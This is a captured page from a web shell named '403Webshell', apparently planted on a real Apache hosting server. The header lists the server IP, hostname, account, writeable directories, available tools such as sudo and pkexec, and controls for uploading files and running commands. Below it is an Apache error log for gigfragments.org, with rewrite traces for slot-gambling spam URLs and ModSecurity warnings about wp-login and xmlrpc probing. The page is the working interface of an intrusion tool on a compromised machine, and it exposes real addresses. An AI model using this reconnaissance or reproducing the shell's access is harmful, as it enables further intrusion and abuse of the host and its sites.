403Webshell
Server IP : 103.4.122.14  /  Your IP : 216.73.216.103
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
System : Linux cwp2.slnet.com.au 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : statewid ( 1251)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/apache/domlogs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/local/apache/domlogs/gigfragments.org.error.log
[Mon Nov 10 18:44:55.681239 2025] [rewrite:trace3] [pid 12043:tid 12064] mod_rewrite.c(505): [client 184.73.68.20:57049] 184.73.68.20 - - [gigfragments.org/sid#1dafced0][rid#7ff2b8021ce0/initial] [perdir /home/gigfrag/public_html/] strip per-dir prefix: /home/gigfrag/public_html/pg\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99.aspx -> pg\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99.aspx
[Mon Nov 10 18:44:55.681368 2025] [rewrite:trace3] [pid 12043:tid 12064] mod_rewrite.c(505): [client 184.73.68.20:57049] 184.73.68.20 - - [gigfragments.org/sid#1dafced0][rid#7ff2b8021ce0/initial] [perdir /home/gigfrag/public_html/] applying pattern '.*' to uri 'pg\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99.aspx'
[Mon Nov 10 18:44:55.681395 2025] [rewrite:trace5] [pid 12043:tid 12064] mod_rewrite.c(505): [client 184.73.68.20:57049] 184.73.68.20 - - [gigfragments.org/sid#1dafced0][rid#7ff2b8021ce0/initial] setting env variable 'HTTP_AUTHORIZATION' to ''
[Mon Nov 10 18:44:55.681405 2025] [rewrite:trace3] [pid 12043:tid 12064] mod_rewrite.c(505): [client 184.73.68.20:57049] 184.73.68.20 - - [gigfragments.org/sid#1dafced0][rid#7ff2b8021ce0/initial] [perdir /home/gigfrag/public_html/] strip per-dir prefix: /home/gigfrag/public_html/pg\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99.aspx -> pg\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99.aspx
[Mon Nov 10 18:44:55.681414 2025] [rewrite:trace3] [pid 12043:tid 12064] mod_rewrite.c(505): [client 184.73.68.20:57049] 184.73.68.20 - - [gigfragments.org/sid#1dafced0][rid#7ff2b8021ce0/initial] [perdir /home/gigfrag/public_html/] applying pattern '^index\\.php$' to uri 'pg\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99.aspx'
[Mon Nov 10 18:44:55.681423 2025] [rewrite:trace3] [pid 12043:tid 12064] mod_rewrite.c(505): [client 184.73.68.20:57049] 184.73.68.20 - - [gigfragments.org/sid#1dafced0][rid#7ff2b8021ce0/initial] [perdir /home/gigfrag/public_html/] strip per-dir prefix: /home/gigfrag/public_html/pg\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99.aspx -> pg\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99.aspx
[Mon Nov 10 18:44:55.681432 2025] [rewrite:trace3] [pid 12043:tid 12064] mod_rewrite.c(505): [client 184.73.68.20:57049] 184.73.68.20 - - [gigfragments.org/sid#1dafced0][rid#7ff2b8021ce0/initial] [perdir /home/gigfrag/public_html/] applying pattern '.' to uri 'pg\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99.aspx'
[Mon Nov 10 18:44:55.681460 2025] [rewrite:trace4] [pid 12043:tid 12064] mod_rewrite.c(505): [client 184.73.68.20:57049] 184.73.68.20 - - [gigfragments.org/sid#1dafced0][rid#7ff2b8021ce0/initial] [perdir /home/gigfrag/public_html/] RewriteCond: input='/home/gigfrag/public_html/pg\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99.aspx' pattern='!-f' => matched
[Mon Nov 10 18:44:55.681469 2025] [rewrite:trace4] [pid 12043:tid 12064] mod_rewrite.c(505): [client 184.73.68.20:57049] 184.73.68.20 - - [gigfragments.org/sid#1dafced0][rid#7ff2b8021ce0/initial] [perdir /home/gigfrag/public_html/] RewriteCond: input='/home/gigfrag/public_html/pg\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99.aspx' pattern='!-d' => matched
[Mon Nov 10 18:44:55.681478 2025] [rewrite:trace2] [pid 12043:tid 12064] mod_rewrite.c(505): [client 184.73.68.20:57049] 184.73.68.20 - - [gigfragments.org/sid#1dafced0][rid#7ff2b8021ce0/initial] [perdir /home/gigfrag/public_html/] rewrite 'pg\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99.aspx' -> '/index.php'
[Mon Nov 10 18:44:55.681497 2025] [rewrite:trace2] [pid 12043:tid 12064] mod_rewrite.c(505): [client 184.73.68.20:57049] 184.73.68.20 - - [gigfragments.org/sid#1dafced0][rid#7ff2b8021ce0/initial] [perdir /home/gigfrag/public_html/] setting lastsub to rule with output /index.php
[Mon Nov 10 18:44:55.681523 2025] [rewrite:trace2] [pid 12043:tid 12064] mod_rewrite.c(505): [client 184.73.68.20:57049] 184.73.68.20 - - [gigfragments.org/sid#1dafced0][rid#7ff2b8021ce0/initial] [perdir /home/gigfrag/public_html/] trying to replace prefix /home/gigfrag/public_html/ with /
[Mon Nov 10 18:44:55.681529 2025] [rewrite:trace2] [pid 12043:tid 12064] mod_rewrite.c(505): [client 184.73.68.20:57049] 184.73.68.20 - - [gigfragments.org/sid#1dafced0][rid#7ff2b8021ce0/initial] [perdir /home/gigfrag/public_html/] trying to replace context docroot /home/gigfrag/public_html with context prefix 
[Mon Nov 10 18:44:55.681544 2025] [rewrite:trace1] [pid 12043:tid 12064] mod_rewrite.c(505): [client 184.73.68.20:57049] 184.73.68.20 - - [gigfragments.org/sid#1dafced0][rid#7ff2b8021ce0/initial] [perdir /home/gigfrag/public_html/] internal redirect with /index.php [INTERNAL REDIRECT]
[Mon Nov 10 18:44:59.293671 2025] [rewrite:trace3] [pid 11954:tid 12033] mod_rewrite.c(505): [client 54.83.23.103:57579] 54.83.23.103 - - [gigfragments.org/sid#1dbd9cf0][rid#7ff2d00db570/initial] [perdir /home/gigfrag/public_html/] strip per-dir prefix: /home/gigfrag/public_html/\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95888 pg.aspx -> \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95888 pg.aspx
[Mon Nov 10 18:44:59.293671 2025] [rewrite:trace3] [pid 11954:tid 12033] mod_rewrite.c(505): [client 54.83.23.103:57579] 54.83.23.103 - - [gigfragments.org/sid#1dbd9cf0][rid#7ff2d00db570/initial] [perdir /home/gigfrag/public_html/] applying pattern '.*' to uri '\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95888 pg.aspx'
[Mon Nov 10 18:44:59.293671 2025] [rewrite:trace5] [pid 11954:tid 12033] mod_rewrite.c(505): [client 54.83.23.103:57579] 54.83.23.103 - - [gigfragments.org/sid#1dbd9cf0][rid#7ff2d00db570/initial] setting env variable 'HTTP_AUTHORIZATION' to ''
[Mon Nov 10 18:44:59.293682 2025] [rewrite:trace3] [pid 11954:tid 12033] mod_rewrite.c(505): [client 54.83.23.103:57579] 54.83.23.103 - - [gigfragments.org/sid#1dbd9cf0][rid#7ff2d00db570/initial] [perdir /home/gigfrag/public_html/] strip per-dir prefix: /home/gigfrag/public_html/\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95888 pg.aspx -> \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95888 pg.aspx
[Mon Nov 10 18:44:59.293692 2025] [rewrite:trace3] [pid 11954:tid 12033] mod_rewrite.c(505): [client 54.83.23.103:57579] 54.83.23.103 - - [gigfragments.org/sid#1dbd9cf0][rid#7ff2d00db570/initial] [perdir /home/gigfrag/public_html/] applying pattern '^index\\.php$' to uri '\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95888 pg.aspx'
[Mon Nov 10 18:44:59.293702 2025] [rewrite:trace3] [pid 11954:tid 12033] mod_rewrite.c(505): [client 54.83.23.103:57579] 54.83.23.103 - - [gigfragments.org/sid#1dbd9cf0][rid#7ff2d00db570/initial] [perdir /home/gigfrag/public_html/] strip per-dir prefix: /home/gigfrag/public_html/\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95888 pg.aspx -> \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95888 pg.aspx
[Mon Nov 10 18:44:59.293712 2025] [rewrite:trace3] [pid 11954:tid 12033] mod_rewrite.c(505): [client 54.83.23.103:57579] 54.83.23.103 - - [gigfragments.org/sid#1dbd9cf0][rid#7ff2d00db570/initial] [perdir /home/gigfrag/public_html/] applying pattern '.' to uri '\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95888 pg.aspx'
[Mon Nov 10 18:44:59.293729 2025] [rewrite:trace4] [pid 11954:tid 12033] mod_rewrite.c(505): [client 54.83.23.103:57579] 54.83.23.103 - - [gigfragments.org/sid#1dbd9cf0][rid#7ff2d00db570/initial] [perdir /home/gigfrag/public_html/] RewriteCond: input='/home/gigfrag/public_html/\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95888 pg.aspx' pattern='!-f' => matched
[Mon Nov 10 18:44:59.293953 2025] [rewrite:trace4] [pid 11954:tid 12033] mod_rewrite.c(505): [client 54.83.23.103:57579] 54.83.23.103 - - [gigfragments.org/sid#1dbd9cf0][rid#7ff2d00db570/initial] [perdir /home/gigfrag/public_html/] RewriteCond: input='/home/gigfrag/public_html/\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95888 pg.aspx' pattern='!-d' => matched
[Mon Nov 10 18:44:59.293957 2025] [rewrite:trace2] [pid 11954:tid 12033] mod_rewrite.c(505): [client 54.83.23.103:57579] 54.83.23.103 - - [gigfragments.org/sid#1dbd9cf0][rid#7ff2d00db570/initial] [perdir /home/gigfrag/public_html/] rewrite '\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95888 pg.aspx' -> '/index.php'
[Mon Nov 10 18:44:59.293957 2025] [rewrite:trace2] [pid 11954:tid 12033] mod_rewrite.c(505): [client 54.83.23.103:57579] 54.83.23.103 - - [gigfragments.org/sid#1dbd9cf0][rid#7ff2d00db570/initial] [perdir /home/gigfrag/public_html/] setting lastsub to rule with output /index.php
[Mon Nov 10 18:44:59.293957 2025] [rewrite:trace2] [pid 11954:tid 12033] mod_rewrite.c(505): [client 54.83.23.103:57579] 54.83.23.103 - - [gigfragments.org/sid#1dbd9cf0][rid#7ff2d00db570/initial] [perdir /home/gigfrag/public_html/] trying to replace prefix /home/gigfrag/public_html/ with /
[Mon Nov 10 18:44:59.293957 2025] [rewrite:trace2] [pid 11954:tid 12033] mod_rewrite.c(505): [client 54.83.23.103:57579] 54.83.23.103 - - [gigfragments.org/sid#1dbd9cf0][rid#7ff2d00db570/initial] [perdir /home/gigfrag/public_html/] trying to replace context docroot /home/gigfrag/public_html with context prefix 
[Mon Nov 10 18:44:59.293957 2025] [rewrite:trace1] [pid 11954:tid 12033] mod_rewrite.c(505): [client 54.83.23.103:57579] 54.83.23.103 - - [gigfragments.org/sid#1dbd9cf0][rid#7ff2d00db570/initial] [perdir /home/gigfrag/public_html/] internal redirect with /index.php [INTERNAL REDIRECT]
[Mon Nov 10 18:45:03.066533 2025] [rewrite:trace3] [pid 11954:tid 12016] mod_rewrite.c(505): [client 52.204.81.148:4494] 52.204.81.148 - - [gigfragments.org/sid#1dafced0][rid#7ff2900475e0/initial] [perdir /home/gigfrag/public_html/] strip per-dir prefix: /home/gigfrag/public_html/pg\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx -> pg\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx
[Mon Nov 10 18:45:03.066613 2025] [rewrite:trace3] [pid 11954:tid 12016] mod_rewrite.c(505): [client 52.204.81.148:4494] 52.204.81.148 - - [gigfragments.org/sid#1dafced0][rid#7ff2900475e0/initial] [perdir /home/gigfrag/public_html/] applying pattern '.*' to uri 'pg\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx'
[Mon Nov 10 18:45:03.066641 2025] [rewrite:trace5] [pid 11954:tid 12016] mod_rewrite.c(505): [client 52.204.81.148:4494] 52.204.81.148 - - [gigfragments.org/sid#1dafced0][rid#7ff2900475e0/initial] setting env variable 'HTTP_AUTHORIZATION' to ''
[Mon Nov 10 18:45:03.066660 2025] [rewrite:trace3] [pid 11954:tid 12016] mod_rewrite.c(505): [client 52.204.81.148:4494] 52.204.81.148 - - [gigfragments.org/sid#1dafced0][rid#7ff2900475e0/initial] [perdir /home/gigfrag/public_html/] strip per-dir prefix: /home/gigfrag/public_html/pg\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx -> pg\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx
[Mon Nov 10 18:45:03.066679 2025] [rewrite:trace3] [pid 11954:tid 12016] mod_rewrite.c(505): [client 52.204.81.148:4494] 52.204.81.148 - - [gigfragments.org/sid#1dafced0][rid#7ff2900475e0/initial] [perdir /home/gigfrag/public_html/] applying pattern '^index\\.php$' to uri 'pg\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx'
[Mon Nov 10 18:45:03.066722 2025] [rewrite:trace3] [pid 11954:tid 12016] mod_rewrite.c(505): [client 52.204.81.148:4494] 52.204.81.148 - - [gigfragments.org/sid#1dafced0][rid#7ff2900475e0/initial] [perdir /home/gigfrag/public_html/] strip per-dir prefix: /home/gigfrag/public_html/pg\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx -> pg\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx
[Mon Nov 10 18:45:03.066742 2025] [rewrite:trace3] [pid 11954:tid 12016] mod_rewrite.c(505): [client 52.204.81.148:4494] 52.204.81.148 - - [gigfragments.org/sid#1dafced0][rid#7ff2900475e0/initial] [perdir /home/gigfrag/public_html/] applying pattern '.' to uri 'pg\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx'
[Mon Nov 10 18:45:03.066770 2025] [rewrite:trace4] [pid 11954:tid 12016] mod_rewrite.c(505): [client 52.204.81.148:4494] 52.204.81.148 - - [gigfragments.org/sid#1dafced0][rid#7ff2900475e0/initial] [perdir /home/gigfrag/public_html/] RewriteCond: input='/home/gigfrag/public_html/pg\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx' pattern='!-f' => matched
[Mon Nov 10 18:45:03.066796 2025] [rewrite:trace4] [pid 11954:tid 12016] mod_rewrite.c(505): [client 52.204.81.148:4494] 52.204.81.148 - - [gigfragments.org/sid#1dafced0][rid#7ff2900475e0/initial] [perdir /home/gigfrag/public_html/] RewriteCond: input='/home/gigfrag/public_html/pg\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx' pattern='!-d' => matched
[Mon Nov 10 18:45:03.066815 2025] [rewrite:trace2] [pid 11954:tid 12016] mod_rewrite.c(505): [client 52.204.81.148:4494] 52.204.81.148 - - [gigfragments.org/sid#1dafced0][rid#7ff2900475e0/initial] [perdir /home/gigfrag/public_html/] rewrite 'pg\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx' -> '/index.php'
[Mon Nov 10 18:45:03.066837 2025] [rewrite:trace2] [pid 11954:tid 12016] mod_rewrite.c(505): [client 52.204.81.148:4494] 52.204.81.148 - - [gigfragments.org/sid#1dafced0][rid#7ff2900475e0/initial] [perdir /home/gigfrag/public_html/] setting lastsub to rule with output /index.php
[Mon Nov 10 18:45:03.066855 2025] [rewrite:trace2] [pid 11954:tid 12016] mod_rewrite.c(505): [client 52.204.81.148:4494] 52.204.81.148 - - [gigfragments.org/sid#1dafced0][rid#7ff2900475e0/initial] [perdir /home/gigfrag/public_html/] trying to replace prefix /home/gigfrag/public_html/ with /
[Mon Nov 10 18:45:03.066872 2025] [rewrite:trace2] [pid 11954:tid 12016] mod_rewrite.c(505): [client 52.204.81.148:4494] 52.204.81.148 - - [gigfragments.org/sid#1dafced0][rid#7ff2900475e0/initial] [perdir /home/gigfrag/public_html/] trying to replace context docroot /home/gigfrag/public_html with context prefix 
[Mon Nov 10 18:45:03.066888 2025] [rewrite:trace1] [pid 11954:tid 12016] mod_rewrite.c(505): [client 52.204.81.148:4494] 52.204.81.148 - - [gigfragments.org/sid#1dafced0][rid#7ff2900475e0/initial] [perdir /home/gigfrag/public_html/] internal redirect with /index.php [INTERNAL REDIRECT]
[Mon Nov 10 18:50:43.529475 2025] [:error] [pid 14751:tid 14772] [client 190.92.174.22:41280] [client 190.92.174.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.92.174.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRHDgwh14wwHxi74rrWYhgAAAA8"]
[Mon Nov 10 19:12:30.268038 2025] [:error] [pid 28789:tid 28843] [client 205.196.208.80:45886] [client 205.196.208.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.196.208.80, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRHInmL9ijbWp6Z_CRcx8wAAAFM"]
[Mon Nov 10 19:12:32.009971 2025] [:error] [pid 28789:tid 28825] [client 205.196.208.80:45886] [client 205.196.208.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.196.208.80, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRHIoGL9ijbWp6Z_CRcx9AAAAEE"], referer: https://gigfragments.org/wp-login.php
[Mon Nov 10 19:17:29.660868 2025] [:error] [pid 32131:tid 32141] [client 49.7.227.204:34546] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRHJydEzpzBHlrkUC2bsiwAAAMI"]
[Mon Nov 10 20:35:43.590361 2025] [:error] [pid 31136:tid 31162] [client 149.255.58.133:38482] [client 149.255.58.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.255.58.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRHcH_tvd8w_jsstCaiLawAAANU"]
[Mon Nov 10 21:05:03.373915 2025] [:error] [pid 31030:tid 31092] [client 213.32.29.234:23633] [client 213.32.29.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.32.29.234, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRHi_zdQpWeECLLAfnZUKgAAAFA"]
[Mon Nov 10 21:05:34.371194 2025] [:error] [pid 31136:tid 31157] [client 213.32.29.234:58356] [client 213.32.29.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.32.29.234, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRHjHvtvd8w_jsstCaiX9QAAANA"]
[Mon Nov 10 21:06:04.790045 2025] [:error] [pid 31136:tid 31161] [client 213.32.29.234:13206] [client 213.32.29.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.32.29.234, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRHjPPtvd8w_jsstCaiYagAAANQ"]
[Mon Nov 10 21:18:12.008135 2025] [:error] [pid 31029:tid 31060] [client 185.23.117.23:37172] [client 185.23.117.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.23.117.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRHmFAaWYU_3FzBvTGj3BwAAAAs"]
[Mon Nov 10 21:37:23.112419 2025] [:error] [pid 31030:tid 31084] [client 108.167.188.210:16938] [client 108.167.188.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.167.188.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRHqkzdQpWeECLLAfnZgpwAAAEg"]
[Mon Nov 10 21:37:28.993367 2025] [:error] [pid 31030:tid 31091] [client 108.167.188.210:16938] [client 108.167.188.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.167.188.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRHqmDdQpWeECLLAfnZgswAAAE8"], referer: https://gigfragments.org/wp-login.php
[Mon Nov 10 22:00:21.243465 2025] [:error] [pid 31031:tid 31106] [client 216.194.175.55:59488] [client 216.194.175.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.194.175.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRHv9XI8L5KZTd8nCaaSEwAAAIM"]
[Mon Nov 10 22:00:24.305505 2025] [:error] [pid 31029:tid 31067] [client 216.194.175.55:60202] [client 216.194.175.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.194.175.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRHv-AaWYU_3FzBvTGgDJQAAABI"], referer: https://gigfragments.org/wp-login.php
[Mon Nov 10 22:26:13.883590 2025] [:error] [pid 31031:tid 31115] [client 103.59.160.170:44316] [client 103.59.160.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.59.160.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRH2BXI8L5KZTd8nCaaZ0gAAAIw"]
[Mon Nov 10 22:26:15.944720 2025] [:error] [pid 31031:tid 31113] [client 103.59.160.170:44316] [client 103.59.160.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.59.160.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRH2B3I8L5KZTd8nCaaZ1wAAAIo"], referer: https://gigfragments.org/wp-login.php
[Tue Nov 11 00:22:45.099138 2025] [:error] [pid 41825:tid 41903] [client 185.193.157.179:49044] [client 185.193.157.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.193.157.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRIRVYr5hkwmQG_pQgDzQAAAAFA"]
